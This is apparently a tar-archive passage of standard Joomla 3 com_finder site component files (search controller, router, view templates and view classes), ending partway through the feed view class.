	 * @param   string   $id          The cache store id.
	 * @param   boolean  $persistent  Flag to enable the use of external cache. [optional]
	 *
	 * @return  mixed  The cached data if found, null otherwise.
	 *
	 * @since   2.5
	 */
	protected function retrieve($id, $persistent = true)
	{
		$data = null;

		// Use the internal cache if possible.
		if (isset($this->cache[$id]))
		{
			return $this->cache[$id];
		}

		// Use the external cache if data is persistent.
		if ($persistent)
		{
			$data = JFactory::getCache($this->context, 'output')->get($id);
			$data = $data ? unserialize($data) : null;
		}

		// Store the data in internal cache.
		if ($data)
		{
			$this->cache[$id] = $data;
		}

		return $data;
	}

	/**
	 * Method to store data in cache.
	 *
	 * @param   string   $id          The cache store id.
	 * @param   mixed    $data        The data to cache.
	 * @param   boolean  $persistent  Flag to enable the use of external cache. [optional]
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 */
	protected function store($id, $data, $persistent = true)
	{
		// Store the data in internal cache.
		$this->cache[$id] = $data;

		// Store the data in external cache if data is persistent.
		if ($persistent)
		{
			return JFactory::getCache($this->context, 'output')->store(serialize($data), $id);
		}

		return true;
	}
}
com_finder/controllers/suggestions.json.php000060400000004641152453734460015270 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Suggestions JSON controller for Finder.
 *
 * @since  2.5
 */
class FinderControllerSuggestions extends JControllerLegacy
{
	/**
	 * Method to find search query suggestions. Uses jQuery and autocompleter.js
	 *
	 * @return  void
	 *
	 * @since   3.4
	 */
	public function suggest()
	{
		/** @var \Joomla\CMS\Application\CMSApplication $app */
		$app = JFactory::getApplication();
		$app->mimeType = 'application/json';

		// Ensure caching is disabled as it depends on the query param in the model
		$app->allowCache(false);

		$suggestions = $this->getSuggestions();

		// Send the response.
		$app->setHeader('Content-Type', $app->mimeType . '; charset=' . $app->charSet);
		$app->sendHeaders();
		echo '{ "suggestions": ' . json_encode($suggestions) . ' }';
		$app->close();
	}

	/**
	 * Method to find search query suggestions. Uses Mootools and autocompleter.js
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @deprecated 3.4
	 */
	public function display($cachable = false, $urlparams = false)
	{
		/** @var \Joomla\CMS\Application\CMSApplication $app */
		$app = JFactory::getApplication();
		$app->mimeType = 'application/json';

		// Ensure caching is disabled as it depends on the query param in the model
		$app->allowCache(false);

		$suggestions = $this->getSuggestions();

		// Send the response.
		$app->setHeader('Content-Type', $app->mimeType . '; charset=' . $app->charSet);
		$app->sendHeaders();
		echo json_encode($suggestions);
		$app->close();
	}

	/**
	 * Method to retrieve the data from the database
	 *
	 * @return  array  The suggested words
	 *
	 * @since   3.4
	 */
	protected function getSuggestions()
	{
		$return = array();

		$params = JComponentHelper::getParams('com_finder');

		if ($params->get('show_autosuggest', 1))
		{
			// Get the suggestions.
			$model = $this->getModel('Suggestions', 'FinderModel');
			$return = $model->getItems();
		}

		// Check the data.
		if (empty($return))
		{
			$return = array();
		}

		return $return;
	}
}
com_finder/router.php000060400000007560152453734460010723 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_finder
 *
 * @since  3.3
 */
class FinderRouter extends JComponentRouterBase
{
	/**
	 * Build the route for the com_finder component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  array  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @since   3.3
	 */
	public function build(&$query)
	{
		$segments = array();

		/*
		 * First, handle menu item routes first. When the menu system builds a
		 * route, it only provides the option and the menu item id. We don't have
		 * to do anything to these routes.
		 */
		if (count($query) === 2 && isset($query['Itemid'], $query['option']))
		{
			return $segments;
		}

		/*
		 * Next, handle a route with a supplied menu item id. All system generated
		 * routes should fall into this group. We can assume that the menu item id
		 * is the best possible match for the query but we need to go through and
		 * see which variables we can eliminate from the route query string because
		 * they are present in the menu item route already.
		 */
		if (!empty($query['Itemid']))
		{
			// Get the menu item.
			$item = $this->menu->getItem($query['Itemid']);

			// Check if the view matches.
			if ($item && isset($item->query['view']) && isset($query['view']) && $item->query['view'] === $query['view'])
			{
				unset($query['view']);
			}

			// Check if the search query filter matches.
			if ($item && isset($item->query['f']) && isset($query['f']) && $item->query['f'] === $query['f'])
			{
				unset($query['f']);
			}

			// Check if the search query string matches.
			if ($item && isset($item->query['q']) && isset($query['q']) && $item->query['q'] === $query['q'])
			{
				unset($query['q']);
			}

			return $segments;
		}

		/*
		 * Lastly, handle a route with no menu item id. Fortunately, we only need
		 * to deal with the view as the other route variables are supposed to stay
		 * in the query string.
		 */
		if (isset($query['view']))
		{
			// Add the view to the segments.
			$segments[] = $query['view'];
			unset($query['view']);
		}

		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = str_replace(':', '-', $segments[$i]);
		}

		return $segments;
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 *
	 * @return  array  The URL attributes to be used by the application.
	 *
	 * @since   3.3
	 */
	public function parse(&$segments)
	{
		$total = count($segments);
		$vars = array();

		for ($i = 0; $i < $total; $i++)
		{
			$segments[$i] = preg_replace('/-/', ':', $segments[$i], 1);
		}

		// Check if the view segment is set and it equals search or advanced.
		if (isset($segments[0]) && ($segments[0] === 'search' || $segments[0] === 'advanced'))
		{
			$vars['view'] = $segments[0];
		}

		return $vars;
	}
}

/**
 * Finder router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return  array  The URL arguments to use to assemble the subsequent URL.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function FinderBuildRoute(&$query)
{
	$router = new FinderRouter;

	return $router->build($query);
}

/**
 * Finder router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return  array  The URL attributes to be used by the application.
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function FinderParseRoute($segments)
{
	$router = new FinderRouter;

	return $router->parse($segments);
}
com_finder/views/search/tmpl/default.xml000060400000013442152453734460014412 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TITLE">
		<help
			key = "JHELP_MENUS_MENU_ITEM_FINDER_SEARCH"
		/>
		<message>
			<![CDATA[COM_FINDER_MENU_SEARCH_VIEW_DEFAULT_TEXT]]>
		</message>
	</layout>

	<fields name="request" addfieldpath="/administrator/components/com_finder/models/fields">
		<fieldset name="request">
			<field
				name="q"
				type="text"
				label="COM_FINDER_SEARCH_SEARCH_QUERY_LABEL"
				description="COM_FINDER_SEARCH_SEARCH_QUERY_DESC"
				size="30"
			/>
			<field
				name="f"
				type="searchfilter"
				label="COM_FINDER_SEARCH_FILTER_SEARCH_LABEL"
				description="COM_FINDER_SEARCH_FILTER_SEARCH_DESC"
				default=""
			/>
		</fieldset>
	</fields>
	<fields name="params" addfieldpath="/administrator/components/com_finder/models/fields">
		<fieldset name="basic">
			<field
				name="show_date_filters"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_LABEL"
				description="COM_FINDER_CONFIG_SHOW_DATE_FILTERS_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="show_advanced"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_ADVANCED_LABEL"
				description="COM_FINDER_CONFIG_SHOW_ADVANCED_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="expand_advanced"
				type="list"
				label="COM_FINDER_CONFIG_EXPAND_ADVANCED_LABEL"
				description="COM_FINDER_CONFIG_EXPAND_ADVANCED_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field type="spacer" />
			<field
				name="show_description"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_DESCRIPTION_LABEL"
				description="COM_FINDER_CONFIG_SHOW_DESCRIPTION_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field
				name="description_length"
				type="number"
				label="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_LABEL"
				description="COM_FINDER_CONFIG_DESCRIPTION_LENGTH_DESC"
				default=""
				size="5"
				useglobal="true"
			/>
			<field
				name="show_url"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_URL_LABEL"
				description="COM_FINDER_CONFIG_SHOW_URL_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JSHOW</option>
				<option value="0">JHIDE</option>
			</field>
			<field type="spacer" />
		</fieldset>
		<fieldset name="advanced">
			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="show_pagination"
				type="list"
				label="JGLOBAL_PAGINATION_LABEL"
				description="JGLOBAL_PAGINATION_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
				<option value="2">JGLOBAL_AUTO</option>
			</field>
			<field
				name="show_pagination_results"
				type="list"
				label="JGLOBAL_PAGINATION_RESULTS_LABEL"
				description="JGLOBAL_PAGINATION_RESULTS_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
			<field
				name="allow_empty_query"
				type="list"
				label="COM_FINDER_ALLOW_EMPTY_QUERY_LABEL"
				description="COM_FINDER_ALLOW_EMPTY_QUERY_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_suggested_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_LABEL"
				description="COM_FINDER_CONFIG_SHOW_SUGGESTED_QUERY_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="show_explained_query"
				type="list"
				label="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_LABEL"
				description="COM_FINDER_CONFIG_SHOW_EXPLAINED_QUERY_DESC"
				default=""
				useglobal="true"
				class="chzn-color"
				>
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field
				name="sort_order"
				type="list"
				label="COM_FINDER_CONFIG_SORT_ORDER_LABEL"
				description="COM_FINDER_CONFIG_SORT_ORDER_DESC"
				default=""
				useglobal="true"
				>
				<option value="relevance">COM_FINDER_CONFIG_SORT_OPTION_RELEVANCE</option>
				<option value="date">COM_FINDER_CONFIG_SORT_OPTION_START_DATE</option>
				<option value="price">COM_FINDER_CONFIG_SORT_OPTION_LIST_PRICE</option>
			</field>
			<field
				name="sort_direction"
				type="list"
				label="COM_FINDER_CONFIG_SORT_DIRECTION_LABEL"
				description="COM_FINDER_CONFIG_SORT_DIRECTION_DESC"
				default=""
				useglobal="true"
				>
				<option value="desc">COM_FINDER_CONFIG_SORT_OPTION_DESCENDING</option>
				<option value="asc">COM_FINDER_CONFIG_SORT_OPTION_ASCENDING</option>
			</field>
		</fieldset>
		<fieldset name="integration">
			<field
				name="show_feed_link"
				type="list"
				label="JGLOBAL_SHOW_FEED_LINK_LABEL"
				description="JGLOBAL_SHOW_FEED_LINK_DESC"
				validate="options"
				class="chzn-color"
				>
				<option value="">JGLOBAL_USE_GLOBAL</option>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>
		</fieldset>
	</fields>
</metadata>
com_finder/views/search/tmpl/default.php000060400000002342152453734460014376 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.core');
JHtml::_('formbehavior.chosen');
JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
JHtml::_('stylesheet', 'com_finder/finder.css', array('version' => 'auto', 'relative' => true));

?>
<div class="finder<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php if ($this->escape($this->params->get('page_heading'))) : ?>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			<?php else : ?>
				<?php echo $this->escape($this->params->get('page_title')); ?>
			<?php endif; ?>
		</h1>
	<?php endif; ?>
	<?php if ($this->params->get('show_search_form', 1)) : ?>
		<div id="search-form">
			<?php echo $this->loadTemplate('form'); ?>
		</div>
	<?php endif; ?>
	<?php // Load the search results layout if we are performing a search. ?>
	<?php if ($this->query->search === true) : ?>
		<div id="search-results">
			<?php echo $this->loadTemplate('results'); ?>
		</div>
	<?php endif; ?>
</div>
com_finder/views/search/tmpl/default_form.php000060400000006730152453734460015426 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if ($this->params->get('show_advanced', 1) || $this->params->get('show_autosuggest', 1))
{
	JHtml::_('jquery.framework');

	$script = "
jQuery(function() {";

	if ($this->params->get('show_advanced', 1))
	{
		/*
		* This segment of code disables select boxes that have no value when the
		* form is submitted so that the URL doesn't get blown up with null values.
		*/
		$script .= "
	jQuery('#finder-search').on('submit', function(e){
		e.stopPropagation();
		// Disable select boxes with no value selected.
		jQuery('#advancedSearch').find('select').each(function(index, el) {
			var el = jQuery(el);
			if(!el.val()){
				el.attr('disabled', 'disabled');
			}
		});
	});";
	}

	/*
	* This segment of code sets up the autocompleter.
	*/
	if ($this->params->get('show_autosuggest', 1))
	{
		JHtml::_('script', 'jui/jquery.autocomplete.min.js', array('version' => 'auto', 'relative' => true));

		$script .= "
	var suggest = jQuery('#q').autocomplete({
		serviceUrl: '" . JRoute::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component') . "',
		paramName: 'q',
		minChars: 1,
		maxHeight: 400,
		width: 300,
		zIndex: 9999,
		deferRequestBy: 500
	});";
	}

	$script .= "
});";

	JFactory::getDocument()->addScriptDeclaration($script);
}

?>
<form id="finder-search" action="<?php echo JRoute::_($this->query->toUri()); ?>" method="get" class="form-inline">
	<?php echo $this->getFields(); ?>
	<?php // DISABLED UNTIL WEIRD VALUES CAN BE TRACKED DOWN. ?>
	<?php if (false && $this->state->get('list.ordering') !== 'relevance_dsc') : ?>
		<input type="hidden" name="o" value="<?php echo $this->escape($this->state->get('list.ordering')); ?>" />
	<?php endif; ?>
	<fieldset class="word">
		<label for="q">
			<?php echo JText::_('COM_FINDER_SEARCH_TERMS'); ?>
		</label>
		<input type="text" name="q" id="q" size="30" value="<?php echo $this->escape($this->query->input); ?>" class="inputbox" />
		<?php if ($this->escape($this->query->input) != '' || $this->params->get('allow_empty_query')) : ?>
			<button name="Search" type="submit" class="btn btn-primary">
				<span class="icon-search icon-white"></span>
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
			</button>
		<?php else : ?>
			<button name="Search" type="submit" class="btn btn-primary disabled">
				<span class="icon-search icon-white"></span>
				<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>
			</button>
		<?php endif; ?>
		<?php if ($this->params->get('show_advanced', 1)) : ?>
			<a href="#advancedSearch" data-toggle="collapse" class="btn">
				<span class="icon-list" aria-hidden="true"></span>
				<?php echo JText::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE'); ?>
			</a>
		<?php endif; ?>
	</fieldset>
	<?php if ($this->params->get('show_advanced', 1)) : ?>
		<div id="advancedSearch" class="collapse<?php if ($this->params->get('expand_advanced', 0)) echo ' in'; ?>">
			<hr />
			<?php if ($this->params->get('show_advanced_tips', 1)) : ?>
				<div id="search-query-explained">
					<div class="advanced-search-tip">
						<?php echo JText::_('COM_FINDER_ADVANCED_TIPS'); ?>
					</div>
					<hr />
				</div>
			<?php endif; ?>
			<div id="finder-filter-window">
				<?php echo JHtml::_('filter.select', $this->query, $this->params); ?>
			</div>
		</div>
	<?php endif; ?>
</form>
com_finder/views/search/tmpl/default_results.php000060400000006263152453734460016165 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<?php // Display the suggested search if it is different from the current search. ?>
<?php if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))) : ?>
	<div id="search-query-explained">
		<?php // Display the suggested search query. ?>
		<?php if ($this->suggested && $this->params->get('show_suggested_query', 1)) : ?>
			<?php // Replace the base query string with the suggested query string. ?>
			<?php $uri = JUri::getInstance($this->query->toUri()); ?>
			<?php $uri->setVar('q', $this->suggested); ?>
			<?php // Compile the suggested query link. ?>
			<?php $linkUrl = JRoute::_($uri->toString(array('path', 'query'))); ?>
			<?php $link = '<a href="' . $linkUrl . '">' . $this->escape($this->suggested) . '</a>'; ?>
			<?php echo JText::sprintf('COM_FINDER_SEARCH_SIMILAR', $link); ?>
		<?php elseif ($this->explained && $this->params->get('show_explained_query', 1)) : ?>
			<?php // Display the explained search query. ?>
			<?php echo $this->explained; ?>
		<?php endif; ?>
	</div>
<?php endif; ?>
<?php // Display the 'no results' message and exit the template. ?>
<?php if (($this->total === 0) || ($this->total === null)) : ?>
	<div id="search-result-empty">
		<h2><?php echo JText::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING'); ?></h2>
		<?php $multilang = JFactory::getApplication()->getLanguageFilter() ? '_MULTILANG' : ''; ?>
		<p><?php echo JText::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang, $this->escape($this->query->input)); ?></p>
	</div>
	<?php // Exit this template. ?>
	<?php return; ?>
<?php endif; ?>
<?php // Activate the highlighter if enabled. ?>
<?php if (!empty($this->query->highlight) && $this->params->get('highlight_terms', 1)) : ?>
	<?php JHtml::_('behavior.highlighter', $this->query->highlight); ?>
<?php endif; ?>
<?php // Display a list of results ?>
<br id="highlighter-start" />
<ul class="search-results<?php echo $this->pageclass_sfx; ?> list-striped">
	<?php $this->baseUrl = JUri::getInstance()->toString(array('scheme', 'host', 'port')); ?>
	<?php foreach ($this->results as $result) : ?>
		<?php $this->result = &$result; ?>
		<?php $layout = $this->getLayoutFile($this->result->layout); ?>
		<?php echo $this->loadTemplate($layout); ?>
	<?php endforeach; ?>
</ul>
<br id="highlighter-end" />
<?php // Display the pagination ?>
<div class="search-pagination">
	<div class="pagination">
		<?php echo $this->pagination->getPagesLinks(); ?>
	</div>
	<div class="search-pages-counter">
		<?php // Prepare the pagination string.  Results X - Y of Z ?>
		<?php $start = (int) $this->pagination->get('limitstart') + 1; ?>
		<?php $total = (int) $this->pagination->get('total'); ?>
		<?php $limit = (int) $this->pagination->get('limit') * $this->pagination->get('pages.current'); ?>
		<?php $limit = (int) ($limit > $total ? $total : $limit); ?>
		<?php echo JText::sprintf('COM_FINDER_SEARCH_RESULTS_OF', $start, $limit, $total); ?>
	</div>
</div>
com_finder/views/search/tmpl/default_result.php000060400000004767152453734460016011 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\String\StringHelper;

// Get the mime type class.
$mime = !empty($this->result->mime) ? 'mime-' . $this->result->mime : null;

$show_description = $this->params->get('show_description', 1);

if ($show_description)
{
	// Calculate number of characters to display around the result
	$term_length = StringHelper::strlen($this->query->input);
	$desc_length = $this->params->get('description_length', 255);
	$pad_length  = $term_length < $desc_length ? (int) floor(($desc_length - $term_length) / 2) : 0;

	// Make sure we highlight term both in introtext and fulltext
	if (!empty($this->result->summary) && !empty($this->result->body))
	{
		$full_description = FinderIndexerHelper::parse($this->result->summary . $this->result->body);
	}
	else
	{
		$full_description = $this->result->description;
	}

	// Find the position of the search term
	$pos = $term_length ? StringHelper::strpos(StringHelper::strtolower($full_description), StringHelper::strtolower($this->query->input)) : false;

	// Find a potential start point
	$start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0;

	// Find a space between $start and $pos, start right after it.
	$space = StringHelper::strpos($full_description, ' ', $start > 0 ? $start - 1 : 0);
	$start = ($space && $space < $pos) ? $space + 1 : $start;

	$description = JHtml::_('string.truncate', StringHelper::substr($full_description, $start), $desc_length, true);
}

$route = $this->result->route;

// Get the route with highlighting information.
if (!empty($this->query->highlight)
	&& empty($this->result->mime)
	&& $this->params->get('highlight_terms', 1)
	&& JPluginHelper::isEnabled('system', 'highlight'))
{
	$route .= '&highlight=' . base64_encode(json_encode($this->query->highlight));
}

?>
<li>
	<h4 class="result-title <?php echo $mime; ?>">
		<a href="<?php echo JRoute::_($route); ?>">
			<?php echo $this->result->title; ?>
		</a>
	</h4>
	<?php if ($show_description && $description !== '') : ?>
		<p class="result-text<?php echo $this->pageclass_sfx; ?>">
			<?php echo $description; ?>
		</p>
	<?php endif; ?>
	<?php if ($this->params->get('show_url', 1)) : ?>
		<div class="small result-url<?php echo $this->pageclass_sfx; ?>">
			<?php echo $this->baseUrl, JRoute::_($this->result->route); ?>
		</div>
	<?php endif; ?>
</li>
com_finder/views/search/view.html.php000060400000017066152453734460013724 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\SearchHelper;

/**
 * Search HTML view class for the Finder package.
 *
 * @since  2.5
 */
class FinderViewSearch extends JViewLegacy
{
	/**
	 * The query object
	 *
	 * @var  FinderIndexerQuery
	 */
	protected $query;

	/**
	 * The application parameters
	 *
	 * @var  Registry  The parameters object
	 */
	protected $params;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	protected $user;

	/**
	 * An array of results
	 *
	 * @var    array
	 *
	 * @since  3.8.0
	 */
	protected $results;

	/**
	 * The total number of items
	 *
	 * @var    integer
	 *
	 * @since  3.8.0
	 */
	protected $total;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 *
	 * @since  3.8.0
	 */
	protected $pagination;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  JError object on failure, void on success.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		$app    = JFactory::getApplication();
		$params = $app->getParams();

		// Get view data.
		$state = $this->get('State');
		$query = $this->get('Query');
		JDEBUG ? JProfiler::getInstance('Application')->mark('afterFinderQuery') : null;
		$results = $this->get('Results');
		JDEBUG ? JProfiler::getInstance('Application')->mark('afterFinderResults') : null;
		$total = $this->get('Total');
		JDEBUG ? JProfiler::getInstance('Application')->mark('afterFinderTotal') : null;
		$pagination = $this->get('Pagination');
		JDEBUG ? JProfiler::getInstance('Application')->mark('afterFinderPagination') : null;

		// Flag indicates to not add limitstart=0 to URL
		$pagination->hideEmptyLimitstart = true;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		// Configure the pathway.
		if (!empty($query->input))
		{
			$app->getPathway()->addItem($this->escape($query->input));
		}

		// Push out the view data.
		$this->state      = &$state;
		$this->params     = &$params;
		$this->query      = &$query;
		$this->results    = &$results;
		$this->total      = &$total;
		$this->pagination = &$pagination;

		// Check for a double quote in the query string.
		if (strpos($this->query->input, '"'))
		{
			// Get the application router.
			$router = &$app::getRouter();

			// Fix the q variable in the URL.
			if ($router->getVar('q') !== $this->query->input)
			{
				$router->setVar('q', $this->query->input);
			}
		}

		// Log the search
		SearchHelper::logSearch($this->query->input, 'com_finder');

		// Push out the query data.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		$this->suggested = JHtml::_('query.suggested', $query);
		$this->explained = JHtml::_('query.explained', $query);

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''));

		// Check for layout override only if this is not the active menu item
		// If it is the active menu item, then the view and category id will match
		$active = $app->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			// We need to set the layout in case this is an alternative menu item (with an alternative layout)
			$this->setLayout($active->query['layout']);
		}

		$this->prepareDocument($query);

		JDEBUG ? JProfiler::getInstance('Application')->mark('beforeFinderLayout') : null;

		parent::display($tpl);

		JDEBUG ? JProfiler::getInstance('Application')->mark('afterFinderLayout') : null;
	}

	/**
	 * Method to get hidden input fields for a get form so that control variables
	 * are not lost upon form submission
	 *
	 * @return  string  A string of hidden input form fields
	 *
	 * @since   2.5
	 */
	protected function getFields()
	{
		$fields = null;

		// Get the URI.
		$uri = JUri::getInstance(JRoute::_($this->query->toUri()));
		$uri->delVar('q');
		$uri->delVar('o');
		$uri->delVar('t');
		$uri->delVar('d1');
		$uri->delVar('d2');
		$uri->delVar('w1');
		$uri->delVar('w2');
		$elements = $uri->getQuery(true);

		// Create hidden input elements for each part of the URI.
		foreach ($elements as $n => $v)
		{
			if (is_scalar($v))
			{
				$fields .= '<input type="hidden" name="' . $n . '" value="' . $v . '" />';
			}
		}

		return $fields;
	}

	/**
	 * Method to get the layout file for a search result object.
	 *
	 * @param   string  $layout  The layout file to check. [optional]
	 *
	 * @return  string  The layout file to use.
	 *
	 * @since   2.5
	 */
	protected function getLayoutFile($layout = null)
	{
		// Create and sanitize the file name.
		$file = $this->_layout . '_' . preg_replace('/[^A-Z0-9_\.-]/i', '', $layout);

		// Check if the file exists.
		jimport('joomla.filesystem.path');
		$filetofind = $this->_createFileName('template', array('name' => $file));
		$exists     = JPath::find($this->_path['template'], $filetofind);

		return ($exists ? $layout : 'result');
	}

	/**
	 * Prepares the document
	 *
	 * @param   FinderIndexerQuery  $query  The search query
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function prepareDocument($query)
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_FINDER_DEFAULT_PAGE_TITLE'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($layout = $this->params->get('article_layout'))
		{
			$this->setLayout($layout);
		}

		// Configure the document meta-description.
		if (!empty($this->explained))
		{
			$explained = $this->escape(html_entity_decode(strip_tags($this->explained), ENT_QUOTES, 'UTF-8'));
			$this->document->setDescription($explained);
		}
		elseif ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		// Configure the document meta-keywords.
		if (!empty($query->highlight))
		{
			$this->document->setMetaData('keywords', implode(', ', $query->highlight));
		}
		elseif ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}

		// Add feed link to the document head.
		if ($this->params->get('show_feed_link', 1) == 1)
		{
			// Add the RSS link.
			$props = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0');
			$route = JRoute::_($this->query->toUri() . '&format=feed&type=rss');
			$this->document->addHeadLink($route, 'alternate', 'rel', $props);

			// Add the ATOM link.
			$props = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0');
			$route = JRoute::_($this->query->toUri() . '&format=feed&type=atom');
			$this->document->addHeadLink($route, 'alternate', 'rel', $props);
		}
	}
}
com_finder/views/search/view.feed.php000060400000005167152453734460013662 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Search feed view class for the Finder package.
 *
 * @since  2.5
 */
class FinderViewSearch extends JViewLegacy
{
	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  JError object on failure, void on success.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		// Get the application
